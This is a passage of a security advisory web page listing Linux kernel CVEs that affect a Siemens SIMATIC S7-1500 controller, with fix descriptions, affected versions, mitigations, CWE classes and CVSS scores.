<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23026</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: qcom: gpi: Fix memory leak in gpi_peripheral_config() Fix a memory leak in gpi_peripheral_config() where the original memory pointed to by gchan-&gt;config could be lost if krealloc() fails. The issue occurs when: 1. gchan-&gt;config points to previously allocated memory 2. krealloc() fails and returns NULL 3. The function directly assigns NULL to gchan-&gt;config, losing the reference to the original memory 4. The original memory becomes unreachable and cannot be freed Fix this by using a temporary variable to hold the krealloc() result and only updating gchan-&gt;config when the allocation succeeds. Found via static analysis and code review.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23026">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23038</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pnfs/flexfiles: Fix memory leak in nfs4_ff_alloc_deviceid_node() In nfs4_ff_alloc_deviceid_node(), if the allocation for ds_versions fails, the function jumps to the out_scratch label without freeing the already allocated dsaddrs list, leading to a memory leak. Fix this by jumping to the out_err_drain_dsaddrs label, which properly frees the dsaddrs list before cleaning up other resources.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23038">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23054</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hv_netvsc: reject RSS hash key programming without RX indirection table RSS configuration requires a valid RX indirection table. When the device reports a single receive queue, rndis_filter_device_add() does not allocate an indirection table, accepting RSS hash key updates in this state leads to a hang. Fix this by gating netvsc_set_rxfh() on ndc-&gt;rx_table_sz and return -EOPNOTSUPP when the table is absent. This aligns set_rxfh with the device capabilities and prevents incorrect behavior.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23054">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23060</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: authencesn - reject too-short AAD (assoclen&lt;8) to match ESP/ESN spec authencesn assumes an ESP/ESN-formatted AAD. When assoclen is shorter than the minimum expected length, crypto_authenc_esn_decrypt() can advance past the end of the destination scatterlist and trigger a NULL pointer dereference in scatterwalk_map_and_copy(), leading to a kernel panic (DoS). Add a minimum AAD length check to fail fast on invalid inputs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23060">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23083</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fou: Don't allow 0 for FOU_ATTR_IPPROTO. fou_udp_recv() has the same problem mentioned in the previous patch. If FOU_ATTR_IPPROTO is set to 0, skb is not freed by fou_udp_recv() nor "resubmit"-ted in ip_protocol_deliver_rcu(). Let's forbid 0 for FOU_ATTR_IPPROTO.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23083">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23084</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: be2net: Fix NULL pointer dereference in be_cmd_get_mac_from_list When the parameter pmac_id_valid argument of be_cmd_get_mac_from_list() is set to false, the driver may request the PMAC_ID from the firmware of the network card, and this function will store that PMAC_ID at the provided address pmac_id. This is the contract of this function. However, there is a location within the driver where both pmac_id_valid == false and pmac_id == NULL are being passed. This could result in dereferencing a NULL pointer. To resolve this issue, it is necessary to pass the address of a stub variable to the function.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23084">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23086</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: cap TX credit to local buffer size The virtio transports derives its TX credit directly from peer_buf_alloc, which is set from the remote endpoint's SO_VM_SOCKETS_BUFFER_SIZE value. On the host side this means that the amount of data we are willing to queue for a connection is scaled by a guest-chosen buffer size, rather than the host's own vsock configuration. A malicious guest can advertise a large buffer and read slowly, causing the host to allocate a correspondingly large amount of sk_buff memory. The same thing would happen in the guest with a malicious host, since virtio transports share the same code base. Introduce a small helper, virtio_transport_tx_buf_size(), that returns min(peer_buf_alloc, buf_alloc), and use it wherever we consume peer_buf_alloc. This ensures the effective TX window is bounded by both the peer's advertised buffer and our own buf_alloc (already clamped to buffer_max_size via SO_VM_SOCKETS_BUFFER_MAX_SIZE), so a remote peer cannot force the other to queue more data than allowed by its own vsock settings. On an unpatched Ubuntu 22.04 host (~64 GiB RAM), running a PoC with 32 guest vsock connections advertising 2 GiB each and reading slowly drove Slab/SUnreclaim from ~0.5 GiB to ~57 GiB; the system only recovered after killing the QEMU process. That said, if QEMU memory is limited with cgroups, the maximum memory used will be limited. With this patch applied: Before: MemFree: ~61.6 GiB Slab: ~142 MiB SUnreclaim: ~117 MiB After 32 high-credit connections: MemFree: ~61.5 GiB Slab: ~178 MiB SUnreclaim: ~152 MiB Only ~35 MiB increase in Slab/SUnreclaim, no host OOM, and the guest remains responsive. Compatibility with non-virtio transports: - VMCI uses the AF_VSOCK buffer knobs to size its queue pairs per socket based on the local vsk-&gt;buffer_* values; the remote side cannot enlarge those queues beyond what the local endpoint configured. - Hyper-V's vsock transport uses fixed-size VMBus ring buffers and an MTU bound; there is no peer-controlled credit field comparable to peer_buf_alloc, and the remote endpoint cannot drive in-flight kernel memory above those ring sizes. - The loopback path reuses virtio_transport_common.c, so it naturally follows the same semantics as the virtio transport. This change is limited to virtio_transport_common.c and thus affects virtio-vsock, vhost-vsock, and loopback, bringing them in line with the "remote window intersected with local policy" behaviour that VMCI and Hyper-V already effectively have. [Stefano: small adjustments after changing the previous patch] [Stefano: tweak the commit message]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23087</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: xen: scsiback: Fix potential memory leak in scsiback_remove() Memory allocated for struct vscsiblk_info in scsiback_probe() is not freed in scsiback_remove() leading to potential memory leaks on remove, as well as in the scsiback_probe() error paths. Fix that by freeing it in scsiback_remove().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23087">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23095</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: gue: Fix skb memleak with inner IP protocol 0. syzbot reported skb memleak below. [0] The repro generated a GUE packet with its inner protocol 0. gue_udp_recv() returns -guehdr-&gt;proto_ctype for "resubmit" in ip_protocol_deliver_rcu(), but this only works with non-zero protocol number. Let's drop such packets. Note that 0 is a valid number (IPv6 Hop-by-Hop Option). I think it is not practical to encap HOPOPT in GUE, so once someone starts to complain, we could pass down a resubmit flag pointer to distinguish two zeros from the upper layer: * no error * resubmit HOPOPT [0] BUG: memory leak unreferenced object 0xffff888109695a00 (size 240): comm "syz.0.17", pid 6088, jiffies 4294943096 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 40 c2 10 81 88 ff ff 00 00 00 00 00 00 00 00 .@.............. backtrace (crc a84b336f): kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline] slab_post_alloc_hook mm/slub.c:4958 [inline] slab_alloc_node mm/slub.c:5263 [inline] kmem_cache_alloc_noprof+0x3b4/0x590 mm/slub.c:5270 __build_skb+0x23/0x60 net/core/skbuff.c:474 build_skb+0x20/0x190 net/core/skbuff.c:490 __tun_build_skb drivers/net/tun.c:1541 [inline] tun_build_skb+0x4a1/0xa40 drivers/net/tun.c:1636 tun_get_user+0xc12/0x2030 drivers/net/tun.c:1770 tun_chr_write_iter+0x71/0x120 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x45d/0x710 fs/read_write.c:686 ksys_write+0xa7/0x170 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xa4/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23095">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23100</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/hugetlb: fix hugetlb_pmd_shared() Patch series "mm/hugetlb: fixes for PMD table sharing (incl. using mmu_gather)", v3. One functional fix, one performance regression fix, and two related comment fixes. I cleaned up my prototype I recently shared [1] for the performance fix, deferring most of the cleanups I had in the prototype to a later point. While doing that I identified the other things. The goal of this patch set is to be backported to stable trees "fairly" easily. At least patch #1 and #4. Patch #1 fixes hugetlb_pmd_shared() not detecting any sharing Patch #2 + #3 are simple comment fixes that patch #4 interacts with. Patch #4 is a fix for the reported performance regression due to excessive IPI broadcasts during fork()+exit(). The last patch is all about TLB flushes, IPIs and mmu_gather. Read: complicated There are plenty of cleanups in the future to be had + one reasonable optimization on x86. But that's all out of scope for this series. Runtime tested, with a focus on fixing the performance regression using the original reproducer [2] on x86. This patch (of 4): We switched from (wrongly) using the page count to an independent shared count. Now, shared page tables have a refcount of 1 (excluding speculative references) and instead use ptdesc-&gt;pt_share_count to identify sharing. We didn't convert hugetlb_pmd_shared(), so right now, we would never detect a shared PMD table as such, because sharing/unsharing no longer touches the refcount of a PMD table. Page migration, like mbind() or migrate_pages() would allow for migrating folios mapped into such shared PMD tables, even though the folios are not exclusive. In smaps we would account them as "private" although they are "shared", and 